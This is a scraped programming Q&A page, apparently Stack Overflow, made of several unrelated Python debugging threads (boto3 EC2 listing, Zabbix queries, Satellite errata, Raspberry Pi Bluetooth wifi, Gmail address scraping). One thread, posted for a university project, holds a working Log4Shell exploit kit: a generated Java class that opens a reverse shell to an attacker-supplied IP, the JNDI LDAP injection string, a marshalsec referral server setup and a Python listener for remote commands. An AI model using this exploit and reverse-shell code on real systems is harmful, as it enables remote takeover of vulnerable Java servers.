I have been trying to incorporate boto3 into my AWS workflow after using fabric for a little while. Just started learning Python so apologies in advance for some of these questions. I searched and debugged what I could with the below script as most of the errors seemed prior seemed to be with this being written in Python2 and I am using Python3 on OSX. Sorry for the formatting issues as well tried to get the script into a code block for here.
#!/usr/bin/env python
import boto3
import sys
import argparse
import paramiko
def list_instances(Filter):
ec2 = boto3.resource('ec2')
instances = ec2.instances.filter(Filters=Filter)
columns_format = ("%-3s %-26s %-16s %-16s %-20s %-12s %-12s %-16s")
print (columns_format) ("num", "Name", "Public IP", "Private IP", "ID",
"Type", "VPC", "Status")
num = 1
hosts = []
name = {}
for i in instances:
try:
name = (item for item in i.tags if item["Key"] == "Name" ).next()
except StopIteration:
name['Value'] = ''
print (columns_format) % (
num,
name['Value'],
i.public_ip_address,
i.private_ip_address,
i.id,
i.instance_type,
i.vpc_id,
i.state['Name']
)
num = num + 1
item={'id': i.id, 'ip': i.public_ip_address, 'hostname':
name['Value'], 'status': i.state['Name'],}
hosts.append(item)
return hosts
def execute_cmd(host,user,cmd):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, username=user)
stdin, stdout, stderr = ssh.exec_command(cmd)
stdout=stdout.read()
stderr=stderr.read()
ssh.close()
return stdout,stderr
except paramiko.AuthenticationException as exception:
return "Authentication Error trying to connect into the host %s with the user %s. Plese review your keys" % (host, user), e
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-n', '--name',
help="Filter result by name.")
parser.add_argument('-t', '--type',
help="Filer result by type.")
parser.add_argument('-s', '--status',
help="Filter result by status." )
parser.add_argument('-e', '--execute',
help="Execute a command on instances")
parser.add_argument('-u', '--user', default="ubuntu",
help="User to run commands if -e option is used.\
Ubuntu user is used by default")
arg = parser.parse_args()
# Default filter if no options are specified
filter=[]
if arg.name:
filter.append({'Name': 'tag-value', 'Values': ["*" + arg.name + "*"]})
if arg.type:
filter.append({'Name': 'instance-type', 'Values': ["*" + arg.type + "*"]})
if arg.status:
filter.append({'Name': 'instance-state-name', 'Values': ["*" + arg.status + "*"]})
hosts=list_instances(filter)
names = ""
if arg.execute:
for item in hosts:
names = names + " " + item["hostname"] + "(" + item["id"] + ")"
print ("\nCommand to execute: %s") % arg.execute
print ("Executed by: %s") % arg.user
print ("Hosts list: %s\n") % names
for item in hosts:
if item["status"] == 'running':
print ("::: %s (%s)") % (item["hostname"], item["id"])
stdout,stderr = execute_cmd(item["ip"], arg.user, arg.execute)
print (stdout)
print (stderr)
else:
print ("::: %s (%s) is not running (command execution skiped)") % (item["hostname"], item["id"])
if __name__ == '__main__':
sys.exit(main())
Excuted from terminal: python ec2-instances.py
and get the below output:
%-3s %-26s %-16s %-16s %-20s %-12s %-12s %-16s
Traceback (most recent call last):
File "ec2-instances.py", line 97, in <module>
sys.exit(main())
File "ec2-instances.py", line 78, in main
hosts=list_instances(filter)
File "ec2-instances.py", line 12, in list_instances
print (columns_format) ("num", "Name", "Public IP", "Private IP", "ID",
"Type", "VPC", "Status")
TypeError: 'NoneType' object is not callable
Thanks in advance for the help!
I think your problem is just that you can't call print like this:
print (columns_format) ("num", "Name", "Public IP", "Private IP", "ID",
"Type", "VPC", "Status")
because print(arguments) (arguments) tries to call a function
try to replace it with (i guess the % just got lost)
print ((columns_format) % ("num", "Name", "Public IP", "Private IP", "ID",
"Type", "VPC", "Status"))
Related
for a university project I am testing the log4j vulnerability. To do this, I use a python server that connects to the java client by creating a reverse shell.
Everything works except the output to server which is not displayed correctly. Specifically, the server shows the output of two previous inputs and I'm not understanding why.
I'm new to python and java programming so I'm a little confused.
Initial project: https://github.com/KleekEthicalHacking/log4j-exploit
I made some changes and added a python socket to handle the reverse shell.
PS: with netcat it seems to work fine but command with some space non work (ex: cd .. not work)
For run this project i use kali linux (python server) and ubuntu (java webapp). This code does not yet manage clients with windows os
poc.py + exploit class:
import sys
import argparse
from colorama import Fore, init
import subprocess
import multiprocessing
from http.server import HTTPServer, SimpleHTTPRequestHandler
init(autoreset=True)
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def payload(userip, webport, lport):
genExploit = (
"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
//String cmd="/bin/sh";
String [] os_specs = GetOperatingSystem();
String os_name = os_specs[0].toString();
String cmd = os_specs[1].toString();
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
so.write(os_name.getBytes("UTF-8"));
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
public String [] GetOperatingSystem() throws Exception {
String os = System.getProperty("os.name").toLowerCase();
String [] result = new String[3];
if (os.contains("win")) {
result[0] = "Windows";
result[1] = "cmd.exe";
}
else if (os.contains("nix") || os.contains("nux") || os.contains("aix")) {
result[0] = "Linux";
result[1] = "/bin/sh";
}
return result;
}
}
""") % (userip, lport)
# writing the exploit to Exploit.java file
try:
f = open("Exploit.java", "w")
f.write(genExploit)
f.close()
print(Fore.GREEN + '[+] Exploit java class created success')
except Exception as e:
print(Fore.RED + f'[X] Something went wrong {e.toString()}')
# checkJavaAvailible()
# print(Fore.GREEN + '[+] Setting up LDAP server\n')
# openshellforinjection(lport)
checkJavaAvailible()
print(Fore.GREEN + '[+] Setting up a new shell for RCE\n')
p1 = multiprocessing.Process(target=open_shell_for_injection, args=(lport,))
p1.start()
print(Fore.GREEN + '[+] Setting up LDAP server\n')
p2 = multiprocessing.Process(target=createLdapServer, args=(userip, webport))
p2.start()
# create the LDAP server on new thread
# t1 = threading.Thread(target=createLdapServer, args=(userip, webport))
# t1.start()
# createLdapServer(userip, webport)
# start the web server
print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}\n")
httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
httpd.serve_forever()
def checkJavaAvailible():
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL,
stdout=subprocess.DEVNULL)
if javaver != 0:
print(Fore.RED + '[X] Java is not installed inside the repository ')
sys.exit()
def createLdapServer(userip, lport):
sendme = "${jndi:ldap://%s:1389/a}" % userip
print(Fore.GREEN + "[+] Send me: " + sendme + "\n")
subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])
def open_shell_for_injection(lport):
terminal = subprocess.call(["qterminal", "-e", "python3 -i rce.py --lport " + lport])
# terminal = subprocess.call(["qterminal", "-e", "nc -lvnp " + lport]) #netcat work
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='please enter the values ')
parser.add_argument('--userip', metavar='userip', type=str,
nargs='+', help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport', metavar='webport', type=str,
nargs='+', help='listener port for HTTP port')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Netcat Port')
args = parser.parse_args()
payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] user interupted the program.")
sys.exit(0)
rce.py:
import argparse
import socket
import sys
from colorama import Fore, init
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def socket_for_rce(lport):
print(Fore.GREEN + "[+] Setup Shell for RCE\n")
SERVER_HOST = "0.0.0.0"
SERVER_PORT = int(lport)
BUFFER_SIZE = 8192
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(1)
print(Fore.GREEN + f"Listening as {SERVER_HOST}:{SERVER_PORT}\n")
client_socket, client_address = s.accept()
print(
Fore.GREEN + "(" + Fore.YELLOW + "REMOTE HOST" + Fore.GREEN + ") " + f"{client_address[0]}:{client_address[1]}"
f" --> "
f"Connected! (exit = close connection)\n")
os_target = client_socket.recv(BUFFER_SIZE).decode()
print("OS TARGET: " + Fore.YELLOW + os_target + "\n")
if not os_target:
print(Fore.RED + "[X] No OS detected\n")
folderCommand = "pwd"
folderCommand += "\n"
client_socket.sendall(folderCommand.encode())
path = client_socket.recv(BUFFER_SIZE).decode()
print("path: " + path)
if not path:
print(Fore.RED + "[X] No work folder received\n")
path_text = Fore.GREEN + "(" + Fore.YELLOW + "REMOTE" + Fore.GREEN + ") " + path
while True:
command = input(f"{path_text} > ")
command += "\n"
# if not command.strip():
# continue
if command != "":
if command == "exit":
print(Fore.RED + "\n[X] Connection closed\n")
client_socket.close()
s.close()
break
else:
client_socket.sendall(command.encode())
data = client_socket.recv(BUFFER_SIZE).decode()
print(data)
else:
pass
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='Instruction for usage: ')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Rce Port')
args = parser.parse_args()
socket_for_rce(listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] User interupted the program.")
sys.exit(0)
Result:
Now works. I added time.sleep(0.2) after each sendall in rce.py
I am using the pyzabbix module to query some data through the Zabbix API. The script is reading through a text file that I specify using the -f switch and is supposed to return each line with data or that the host does not exist but when I run it, it only returns the last line of the text file.
Example data file would be:
server1
server2
And it would only return:
host server2 exist, hostid : 4517, group: [u'Servergroup1', u'Servergroup2']
My code is:
import optparse
import sys
import traceback
from getpass import getpass
from core import ZabbixAPI
def get_options():
usage = "usage: %prog [options]"
OptionParser = optparse.OptionParser
parser = OptionParser(usage)
parser.add_option("-s","--server",action="store",type="string",\
dest="server",help="(REQUIRED)Zabbix Server URL.")
parser.add_option("-u", "--username", action="store", type="string",\
dest="username",help="(REQUIRED)Username (Will prompt if not given).")
parser.add_option("-p", "--password", action="store", type="string",\
dest="password",help="(REQUIRED)Password (Will prompt if not given).")
parser.add_option("-H","--hostname",action="store",type="string",\
dest="hostname",help="(REQUIRED)hostname for hosts.")
parser.add_option("-f","--file",dest="filename",\
metavar="FILE",help="Load values from input file. Specify - for standard input Each line of file contains whitespace delimited: <hostname>")
options,args = parser.parse_args()
if not options.server:
options.server = raw_input('server http:')
if not options.username:
options.username = raw_input('Username:')
if not options.password:
options.password = getpass()
return options, args
def errmsg(msg):
sys.stderr.write(msg + "\n")
sys.exit(-1)
if __name__ == "__main__":
options, args = get_options()
zapi = ZabbixAPI(options.server,options.username, options.password)
hostname = options.hostname
file = options.filename
if file:
with open(file,"r") as f:
host_list = f.readlines()
for hostname in host_list:
hostname = hostname.rstrip()
try:
hostinfo = zapi.host.get({"filter":{"host":hostname},"output":"hostid", "selectGroups": "extend", "selectParentTemplates": ["templateid","name"]})[0]
hostid = hostinfo["hostid"]
host_group_list = []
host_template_list = []
for l in hostinfo["groups"]:
host_group_list.append(l["name"])
for t in hostinfo["parentTemplates"]:
host_template_list.append(t["name"])
#print "host %s exist, hostid : %s, group: %s, template: %s " % (hostname, hostid, host_group_list, host_template_list)
print "host %s exist, hostid : %s, group: %s" % (hostname, hostid, host_group_list)
except:
print "host not exist: %s" %hostname
else:
try:
hostinfo = zapi.host.get({"filter":{"host":hostname},"output":"hostid", "selectGroups": "extend", "selectParentTemplates": ["templateid","name"]})[0]
hostid = hostinfo["hostid"]
host_group_list = []
host_template_list = []
for l in hostinfo["groups"]:
host_group_list.append(l["name"])
for t in hostinfo["parentTemplates"]:
host_template_list.append(t["name"])
print "host %s exist, hostid : %s, group: %s, template: %s " % (hostname, hostid, host_group_list, host_template_list)
except:
print "host not exist: %s" %hostname
Your try block has incorrect indentation level.
Instead of
for hostname in host_list:
hostname = hostname.rstrip()
try:
...
except:
print "host not exist: %s" %hostname
It should be
for hostname in host_list:
hostname = hostname.rstrip()
try:
...
except:
print "host not exist: %s" %hostname
Your try block, which I think you want executed for each hostname, is not inside your for loop. So it is only executed after the for loop completes, at which point you have the hostname from the last line of the file.
Simplifying your code should make the problem easier to see:
for hostname in host_list:
hostname = hostname.rstrip()
try:
do_stuff(hostname)
except:
print "host not exist: %s" %hostname
You're only doing the stuff in the try block once, with the last hostname that you found in the list.
To fix this, make a list of hostnames and then iterate over that list, performing your computations for each hostname
You can prevent this sort of issue by simplifying your code, in this case by extracting the procedure for processing a hostname, to a well-named function (ie, not do_stuff :) ). This will make the overall structure of the loop more readable, and will make the execution flow more obvious.
Hi am new to python and tried to run below script and getting attribute error.
#!/usr/bin/python
import json
import sys
import argparse
try:
import requests
except ImportError:
print "Please install the python-requests module."
sys.exit(-1)
def get_json(location, devincuser, password):
# Performs a GET using the passed URL location
location += "?per_page=10000"
r = requests.get(location, auth=(devincuser, password),verify=False)
return r.json()
def main():
parser = argparse.ArgumentParser(description="Satellite Errata
Reporter")
# Arguments
parser.add_argument("-u", "--devincuser", type=str.lower, help="Username
to access Satellite", action="store", default='devincuser')
parser.add_argument("-p", "--password", type=str, help="Password to
access Satellite", action="store", default='password')
parser.add_argument("-n", "--localhost", type=str.lower, help="Satellite
server (default: localhost)", default='localhost')
parser.add_argument("-o", "--organization", type=str.lower, nargs="*",
help="Filter on this space-delimited list of organization(s)", default='')
parser.add_argument("-e", "--environment", type=str.lower, nargs="*",
help="Filter on this space-delimited list of lifecycle environments",
default='')
parser.add_argument("-c", "--collection", type=str.lower, nargs="*",
help="Filter on and group by this space-delimited list of host
collections", default='')
parser.add_argument("-t", "--type", type=str.lower, nargs="*",
help="Filter on this space-delimeted list of errata types (bugfix,
enhancement, and/or security)", default='')
parser.add_argument("-s", "--severity", type=str.lower, nargs="*",
help="Filter on this space-delimited list of severities (critical,
important, moderate, low)", default='')
args = parser.parse_args()
# Check username and password
if not (args.username and args.password):
print "No complete account information provided, exiting"
exit (-1)
# set up api url
sat_api = "http://%s/172.17.12.129/api/v2/" % args.server
katello_api = "http://%s/172.17.12.129/api/" % args.server
# set up initial stuff
prefix = "- "
systems_fetched = False
system_count = 0
system_errata_count = 0
# Loop through organizations and skip the ones we don't want
orgs = get_json(sat_api + "organizations/", args.username,
args.password)
for org in orgs['results']:
if args.organization and org['name'].lower not in args.organization:
continue
print "\nErrata for organization '%s':" % org['name']
if args.collection:
# Loop through the host collections, skip the one we don't want
collections = get_json(sat_api + "organizations/" + str(org['id']) +
"/host_collections/", args.username, args.password)
for collection in collections['results']:
if collection['name'].lower() not in args.collection:
continue
print "\n" + prefix + "Errata for Host Collection '%s':" %
collection['name']
prefix = " - "
# Get the systems in this host collection
systems = get_json(sat_api + "host_collections/" + str(collection['id'])
+ "/systems/", args.username, args.password)
systems_fetched = True
else:
# Get the systems in this Organization
systems = get_json(sat_api + "organizations/" + str(org['id']) +
"/systems/", args.username, args.password)
systems_fetched = True
if not systems_fetched:
continue
# loop through the systems fetched from the collection *or* the
organization
for system in systems['results']:
system_errata = get_json(sat_api + "systems/" + system['uuid'] +
"/errata", args.username, args.password)
first = True
# filter on lifecycle environment(s) (if specified)
environment = system['environment']['name'].lower()
if args.environment and environment not in args.environment:
continue
# Get all available Errata for System
for system_erratum in system_errata['results']:
# filter on type(s) (if specified)
type = system_erratum['type'].lower()
if args.type and type not in args.type:
continue
# filter on severity(s) (if specified)
if type == "security" and "security" in args.type and args.severity:
severity = system_erratum['title'].split(":")
[0].encode('ascii','ignore').lower()
if severity not in args.severity:
continue
# We have an erratum, print system if this is the first
if first:
system_count += 1
first = False
print "\n" + prefix + system['name'], "("+system['environment']
['name']+")\n"
# print the erratum id, type and title
print " " + prefix + "%s: %s: %s" %
(system_erratum['errata_id'],system_erratum['type'],system_erratum['title'])
# Count the errata we find
system_errata_count += 1
if not first:
print
# print statistics
if system_errata_count:
print "\nNumber of errata to apply: %s" % system_errata_count
print "Number of systems affected: %s" % system_count
else:
print "\nNo errata found for this selection"
print
if __name__ == "__main__":
main()
and getting blow error
Traceback (most recent call last):
File "./pyth.py", line 136, in
main()
File "./pyth.py", line 44, in main
if not (args.username and args.password):
AttributeError: 'Namespace' object has no attribute 'username'
You haven't defined a username argument in your ArgumentParser. You've defined something called devincuser, did you mean to use that instead?
So I am relatively new to python scripting and I came across this code that is supposed to configure wifi over bluetooth between a raspberry pi and smart device. Unfortunately, I keep running into the error listed in the title. I was hoping someone can copy and run the code and enlighten me why i keep running into this error. All help is greatly appreciated!
#!/usr/bin/env python
import os
from bluetooth import *
from wifi import Cell, Scheme
import subprocess
import time
wpa_supplicant_conf = "/etc/wpa_supplicant/wpa_supplicant.conf"
sudo_mode = "sudo "
def wifi_connect(ssid, psk):
# write wifi config to file
f = open('wifi.conf', 'w')
f.write('country=GB\n')
f.write('ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev\n')
f.write('update_config=1\n')
f.write('\n')
f.write('network={\n')
f.write(' ssid="' + ssid + '"\n')
f.write(' psk="' + psk + '"\n')
f.write('}\n')
f.close()
cmd = 'mv wifi.conf ' + wpa_supplicant_conf
cmd_result = ""
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
# restart wifi adapter
cmd = sudo_mode + 'ifdown wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
time.sleep(2)
cmd = sudo_mode + 'ifup wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
time.sleep(10)
cmd = 'iwconfig wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
cmd = 'ifconfig wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
p = subprocess.Popen(['ifconfig', 'wlan0'], stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
out, err = p.communicate()
ip_address = "<Not Set>"
for l in out.split('\n'):
if l.strip().startswith("inet addr:"):
ip_address = l.strip().split(' ')[1].split(':')[1]
return ip_address
def ssid_discovered():
Cells = Cell.all('wlan0')
wifi_info = 'Found ssid : \n'
for current in range(len(Cells)):
wifi_info += Cells[current].ssid + "\n"
wifi_info+="!"
print wifi_info
return wifi_info
def handle_client(client_sock) :
# get ssid
client_sock.send(ssid_discovered())
print "Waiting for SSID..."
ssid = client_sock.recv(1024)
if ssid == '' :
return
print "ssid received"
print ssid
# get psk
client_sock.send("waiting-psk!")
print "Waiting for PSK..."
psk = client_sock.recv(1024)
if psk == '' :
return
print "psk received"
print psk
ip_address = wifi_connect(ssid, psk)
print "ip address: " + ip_address
client_sock.send("ip-addres:" + ip_address + "!")
return
try:
while True:
server_sock=BluetoothSocket( RFCOMM )
server_sock,bind(("",PORT_ANY))
server_sock.listen(1)
port = server_sock.getsockname()[1]
uuid = "815425a5-bfac-47bf-9321-c5ff980b5e11"
advertise_service( server_sock, "RaspberryPiServer",
service_id = uuid,
service_classes = [ uuid, SERIAL_PORT_CLASS ],
profiles = [ SERIAL_PORT_PROFILE ],
protocols = [ OBEX_UUID ]
)
print("Waiting for connection on RFCOMM channel %d" % port)
client_sock, client_info = server_sock.accept()
print "Accepted connection from ", client_info
handle_client(client_sock)
client_sock.close()
server_sock.close()
# finished config
print 'Finished configuration\n'
except (KeyboardInterrupt, SystemExit):
print '\nExiting\n'
This code outputs
Traceback (most recent call last): File "test.py", line 128, in <module>
server_sock=BluetoothSocket( RFCOMM )
NameError: name 'BluetoothSocket' is not defined
Can you show us your python version ?
Just type:
$ python --version
bluetooth lib seems to be present. But not BluetoothSocket: try to install bluez and python-bluez
$ sudo apt-get install bluez
$ sudo apt-get install python-bluez
can anyone help with this parser
import getpass, imaplib, email
def split_addrs(s):
if not(s): return []
outQ = True
cut = -1
res = []
for i in range(len(s)):
if s[i]=='"': outQ = not(outQ)
if outQ and s[i]==',':
res.append(email.utils.parseaddr(s[cut+1:i]))
cut=i
res.append(email.utils.parseaddr(s[cut+1:i+1]))
return res
def get_addresses( name, password):
mail=imaplib.IMAP4_SSL('imap.gmail.com')
mail.login( name , password )
print "In email account, accessing \"%s\" All mail...\n"
mail.select('"[Gmail]/All Mail"')
result,data=mail.search(None,"ALL")
ids=data[0].split()[-10:]
print "Processing %d emails...\n" % ( len(ids) )
msgs = mail.fetch(','.join(ids),'(BODY.PEEK[HEADER])')[1][0::2]
addr=[]
print msgs
for x,msg in msgs:
msgobj = email.message_from_string(msg)
addr.extend(split_addrs(msgobj['to']))
addr.extend(split_addrs(msgobj['from']))
addr.extend(split_addrs(msgobj['cc']))
mail.close()
mail.logout()
addr_set = set(addr)
print "Fetched and writing %d unique name and emails to scraped_email.txt...\n" % ( len(addr_set) )
f = open('scraped_emails.txt', 'w')
for each in addr_set:
name, address = each
print "%s, %s" % (name, address)
f.write("%s, %s\n" % (name, address))
f.close()
print "Done"
if __name__ == '__main__':
email_address = raw_input('Enter your email: ')
print "Username: %s" % ( email_address )
get_addresses( email_address, getpass.getpass())
this is my output
In email account, accessing "%s" All mail...
Processing 10 emails...
Traceback (most recent call last):
File "/home/richard/environments/google-tools/gmail-addresses/program.py", line 52, in <module>
get_addresses( email_address, getpass.getpass())
File "/home/richard/environments/google-tools/gmail-addresses/program.py", line 30, in get_addresses
msgobj = email.message_from_string(msg)
AttributeError: 'module' object has no attribute 'message_from_string'
i plan on making the folder selectable later but for now wanted to try and get it working on all mail.
can anyone spot my error
i'm using python 2.7 with eclipse pydev ide
thanks
all worked fine in python 3 so no need for help